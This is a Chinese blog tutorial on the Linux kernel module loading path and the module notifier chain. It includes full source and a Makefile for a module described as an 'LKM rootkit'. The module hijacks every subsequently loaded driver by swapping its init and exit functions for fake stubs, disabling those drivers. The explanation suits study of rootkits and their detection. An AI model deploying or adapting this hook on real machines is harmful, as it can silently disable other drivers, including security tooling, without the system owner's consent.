当插入一个内核驱动时,一般会使用工具insmod,该工具实际上调用了系统调用init_module,在该系统调用函数中,首先调用 load_module,把用户空间传入的整个内核模块文件创建成一个内核模块,返回一个struct module结构体。内核中便以这个结构体代表这个内核模块。

  1. init_module系统调用定义,可以看到主要是调用了load_module。
  2. 在load_module中,主要prepare_coming_module,准备将内核模块进行加载。
  3. prepare_coming_module中经过一系列的调用,最终执行到notifier_call_chain函数,并且执行了notifier_call回调函数,notifier_call就是需要hook的函数。

    我们注册的通知链处理函数是在 notifier_call_chain函数里被调用的,调用层次为: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。

HOOK内核驱动:

  1. Notifier chains通过注册的函数调用来通知异步事件或状态。注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier 函数。
struct notifier_block nb = {.notifier_call = module_notifier,.priority = INT_MAX
};
  1. MODULE_STATE_COMING:模块当前正在被加载。MODULE_STATE_LIVE:模块当前正常使用中(存活状态)。MODULE_STATE_GOING:模块当前正在被卸载。
int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{struct module *module;unsigned long flags;/*声明一个自旋锁x并初始化它*/DEFINE_SPINLOCK(module_notifier_spinlock);module = data;/*自旋锁*/spin_lock_irqsave(&module_notifier_spinlock, flags);switch (module->state) {case MODULE_STATE_COMING:printk("Kernel Module: %s\n", module->name);/*将初始化和退出函数换成自定义的函数*/module->init = hook_init;module->exit = hook_exit;break;default:break;}/*解锁*/spin_unlock_irqrestore(&module_notifier_spinlock, flags);return NOTIFY_DONE;
}
  1. 加载HOOK内核驱动。
  2. 加载其他驱动,可以看到打印了Fake init和加载的模块名,证明已经hook成功。
  3. 虽然其他的内核驱动已经正常加载进去了,但是也是无法正常原本的功能。

    源码:
# include <linux/module.h>
# include <linux/kernel.h>
# include <linux/notifier.h>int  hook_init(void);
void hook_exit(void);int module_notifier(struct notifier_block *nb, unsigned long action, void *data);struct notifier_block nb = {.notifier_call = module_notifier,.priority = INT_MAX
};int init_my_module(void)
{printk("init_my_module!\n");/*注册notifier_block,函数用于注册需要知道当前模块的状态,然后触发一个回调函数*/int ret = register_module_notifier(&nb);if(ret){printk("Failed to register tracepoint module enter notifier\n");return -1;}printk("module name: %s\n",  THIS_MODULE->name);printk("module state: %d\n", THIS_MODULE->state);return 0;
}void exit_my_module(void)
{unregister_module_notifier(&nb);printk("exit_my_module!\n");return;
}int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{struct module *module;unsigned long flags;/*声明一个自旋锁x并初始化它*/DEFINE_SPINLOCK(module_notifier_spinlock);module = data;/*自旋锁*/spin_lock_irqsave(&module_notifier_spinlock, flags);switch (module->state) {case MODULE_STATE_COMING:printk("Kernel Module: %s\n", module->name);/*将初始化和退出函数换成自定义的函数*/module->init = hook_init;module->exit = hook_exit;break;default:break;}/*解锁*/spin_unlock_irqrestore(&module_notifier_spinlock, flags);return NOTIFY_DONE;
}int hook_init(void)
{printk("Fake init\n");return 0;
}void hook_exit(void)
{printk("Fake exit\n");return;
}module_init(init_my_module);
module_exit(exit_my_module);MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("lkm");
MODULE_DESCRIPTION("LKM rootkit");

Makefile:

KVERS = $(shell uname -r)
obj-m += kernelLoad.o
#EXTRA_CFLAGS = -g -O0
build: kernel_modules
kernel_modules:make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules
clean:make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

参考:
https://0xax.gitbooks.io/linux-insides/content/Concepts/linux-cpu-4.html
https://www.opensourceforu.com/2009/01/the-crux-of-linux-notifier-chains/
https://www.cnblogs.com/sky-heaven/p/4554614.html
https://blog.csdn.net/damontive/article/details/18313729
https://www.cnblogs.com/likaiming/p/11002351.html

Rootkit---HOOK内核驱动相关推荐

  1. 【梅哥的Ring0湿润插入教程】第一课Windows内核/驱动编程概述及应用、商业驱动保护软件原理分析...

    [梅哥的Ring0湿润插入教程] Email:mlkui@163.com 转载请注明出处,谢绝喷子记者等,如引起各类不适请自觉滚J8蛋! 第一课Windows内核/驱动编程概述及应用. 商业驱动保护软 ...

  2. INLINE HOOK过驱动保护的理论知识和大概思路

    INLINE HOOK过驱动保护的理论知识和大概思路,简单驱动保护就是简单的HOOK掉内核API的现象 找到被HOOK的函数的当前地址在此地址处先修改页面保护属性然后写入5个字节.5个字节就是一个简单 ...

  3. Linux Rootkit躲避内核检测

    来自 Linux Rootkit如何避开内核检测的 Rootkit在登堂入室并得手后,还要记得把门锁上. 如果我们想注入一个Rootkit到内核,同时不想被侦测到,那么我们需要做的是精妙的隐藏,并保持 ...

  4. 树莓内核驱动io框架

    树莓派内核驱动框架 驱动层框架编写 驱动程序:pin4driver2.c 上层程序pin4test.c 驱动代码编译和测试 1.返回内核源码linux文件进行模块编译 2.将生成的pin4driver ...

  5. 谈谈Linux内核驱动的coding style

    2019独角兽企业重金招聘Python工程师标准>>> 最近在向Linux内核提交一些驱动程序,在提交的过程中,发现自己的代码离Linux内核的coding style要求还是差很多 ...

  6. VMware调试.【转】VMware+Windgb+Win7 内核驱动调试

    ZC:我遇到的问题:com_1 怎么都不成功,记起来 貌似原来也遇到过这个问题,看了一下 VMware里面创建的是 "串行端口 2",于是 将 "com_1"改 ...

  7. 西数加密linux,Symantec PGP Desktop pgpwded.sys内核驱动任意代码执行漏洞

    发布日期:2012-12-24 更新日期:2012-12-27 受影响系统: Symantec PGP Desktop 10.2.0 Build 2599 描述: ------------------ ...

  8. vmlinux 反汇编_ARM Linux内核驱动异常定位方法分析--反汇编方式

    通常认为,产生异常的地址是lr寄存器的值,从上面的异常信息可以看到[lr]的值是c01a4e30. 接下来,我们可以通过内核镜像文件反汇编来找到这个地址.内核编译完成后,会在内核代码根目录下生成vml ...

  9. linux 内核驱动的名字,Linux内核驱动的的platform机制

    接下来来看platform_driver结构体的原型定义,在include/linux/platform_device.h中,代码如下: struct platform_driver { int (* ...

最新文章

  1. Android架构篇-1 项目组织架构
  2. oracle查找重复记录
  3. 通过源码分析MyBatis的缓存
  4. 漫画算法:无序数组排序后的最大相邻差值
  5. 转:比尔·盖茨和理查德·斯托曼
  6. [POJ3233] Matrix Power Series(矩阵快速幂)
  7. matlab作图函数的总结与分析.pdf,Matlab作图函数的总结与分析_黄琼湘
  8. 写项目总结写哪些方面
  9. WEEK-3 实战作业
  10. 网络服务器的配置与管理
  11. 【无标题】学习浩辰CAD软件的心得
  12. html打折代码,HTML打折计算价格原理与脚本代码
  13. (原创干货)融资、路演-日常思考实战框架学习第七天
  14. IP地址(配置),MAC地址,DNS,电脑无法上网解决解决步骤
  15. tx2 opense
  16. hashcat破解wifi密码(kali)
  17. AI智能营业厅视频监控解决方案
  18. Householder变换、Givens旋转与QR分解
  19. 关于Visio软件无法正常显示的解决办法
  20. 复变函数与积分变换matlab,MATLAB在复变函数与积分变换课程教学中的应用

热门文章

  1. Python:什么是面向对象的编程?
  2. mysql 5.7 windows 密码重置_win10 mysql57密码重置
  3. SLOPE函数通过两类产品的测试结果返回线性回归直线的斜率
  4. Spring @Configuration详解
  5. 语音控制TonyPi
  6. 计算机二手配件,电脑二手零件那些值得买,哪些不值得买?买二手零件要注意些啥?...
  7. mac电脑安装python_mac电脑怎么安装python
  8. 域名批量注册好不好?回报率高吗?
  9. 【TS】函数重载--可选参数--默认参数
  10. adb.exe可能被其他程序关闭_为什么iPhone手机电池耗电速度这么快?可能是这几个原因...